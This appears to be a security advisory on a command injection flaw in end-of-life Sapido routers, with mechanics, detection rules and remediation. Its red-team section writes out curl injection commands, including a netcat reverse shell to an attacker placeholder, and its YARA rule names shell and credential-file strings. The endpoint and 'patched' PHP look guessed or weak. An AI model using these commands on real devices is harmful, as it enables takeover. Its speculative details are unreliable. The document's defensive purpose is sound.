CVE-2025-6559

Executive Summary

CVE-2025-6559 is a critical OS Command Injection vulnerability affecting multiple Sapido wireless router models. An unauthenticated, remote attacker can inject arbitrary operating system commands through a vulnerable endpoint, achieving full server compromise. The affected devices are end-of-life and no patch is available. The only recommended mitigation is device replacement. This vulnerability poses a high risk to any network using these routers, as it allows complete takeover without authentication.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD base) but based on the description, the actual severity is Critical.
• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the router itself.
• Confidentiality (C): High (H) – full file system access.
• Integrity (I): High (H) – arbitrary command execution.
• Availability (A): High (H) – can disrupt router operation.
• Threat Level: Critical – immediate action required.

Deep Dive & Mechanics

The vulnerability resides in an unspecified web management interface endpoint of Sapido routers. The application fails to sanitize user-supplied input before passing it to a system shell function (e.g., popen(), system(), or exec()). An attacker can inject command separators such as ;, |, &&, or backticks to execute arbitrary OS commands.

Root Cause: Lack of input validation and use of dangerous functions that interpret shell metacharacters.

Attack Flow:

1. Attacker identifies a Sapido router on the network (e.g., via Shodan or local scanning).
2. Attacker sends a crafted HTTP request to the vulnerable endpoint (e.g., /cgi-bin/ or /goform/).
3. The injected command is executed with root privileges on the router.
4. Attacker gains full control, can exfiltrate data, pivot to internal networks, or add the device to a botnet.

Vulnerable vs. Patched Code

Since no patch exists, we illustrate a typical vulnerable pattern vs. a secure implementation.

Vulnerable (PHP example):

<?php
$cmd = $_GET['ping'];
system("ping -c 4 " . $cmd);
?>

Patched (Secure):

<?php
$cmd = escapeshellcmd($_GET['ping']);
system("ping -c 4 " . $cmd);
?>

Or better, use a whitelist approach:

<?php
$allowed = ['8.8.8.8', '1.1.1.1'];
$target = $_GET['target'];
if (in_array($target, $allowed)) {
    system("ping -c 4 " . escapeshellarg($target));
} else {
    echo "Invalid target.";
}
?>

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Use a vulnerable Sapido router (e.g., model BR270n) or a firmware emulator (e.g., FirmAE).
• Attacker machine: Kali Linux.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /goform/setSysAdm).
2. Inject command: ; id or | ls.
3. Example curl command:

curl -X POST http://<router-ip>/goform/setSysAdm -d "admin=admin&pass=admin&cmd=;id"

4. If successful, the response will contain the output of id.

Full Reverse Shell:

curl -X POST http://<router-ip>/goform/setSysAdm -d "admin=admin&pass=admin&cmd=;nc -e /bin/sh <attacker-ip> 4444"

Blue Team (Defensive)

Detection:

• Monitor for unusual HTTP POST requests to /goform/ or /cgi-bin/ endpoints.
• Look for shell metacharacters (;, |, &, `) in URL parameters or POST bodies.
• Use network segmentation to isolate IoT devices.

Honeypot:

• Deploy a low-interaction honeypot mimicking Sapido routers to capture exploitation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing ;, |, &&, ` in parameters.
  • Outbound connections from router to unknown IPs on ports 4444, 1337, etc.
  • Unusual DNS queries from the router.
• Host IOCs:
  • Unexpected processes (e.g., nc, bash, python) running on the router.
  • Modified configuration files (e.g., /etc/passwd, /etc/shadow).
  • New user accounts or SSH keys.
• File IOCs:
  • Presence of /tmp/.exploit or similar scripts.
  • Log entries in /var/log/messages showing command injection attempts.

Detection Engineering

YARA Rule

rule Sapido_OS_Command_Injection {
    meta:
        description = "Detects OS command injection attempts against Sapido routers"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-6559"
    strings:
        $cmd1 = /[;&|`$]/ nocase
        $cmd2 = "id" nocase
        $cmd3 = "cat /etc/passwd" nocase
        $cmd4 = "nc -e" nocase
        $cmd5 = "wget" nocase
    condition:
        any of ($cmd*) and filesize < 10KB
}

Sigma Rule

title: Sapido Router OS Command Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with shell metacharacters targeting Sapido routers
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
        cs-uri-stem|contains:
            - '/goform/'
            - '/cgi-bin/'
    condition: selection
falsepositives:
    - Legitimate use of special characters in passwords (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-6559 Sapido OS Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/goform/"; http_uri; content:";"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Replace the device – No patch is available. Purchase a supported router.
2. Isolate the router – Place it on a separate VLAN with no internet access.
3. Disable remote management – If possible, turn off WAN-side administration.
4. Monitor logs – Watch for exploitation attempts using the provided detection rules.

Long-Term:

• Implement network segmentation for all IoT devices.
• Use a next-generation firewall to inspect HTTP traffic for command injection patterns.
• Subscribe to vendor security advisories for future patches (unlikely for EOL devices).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert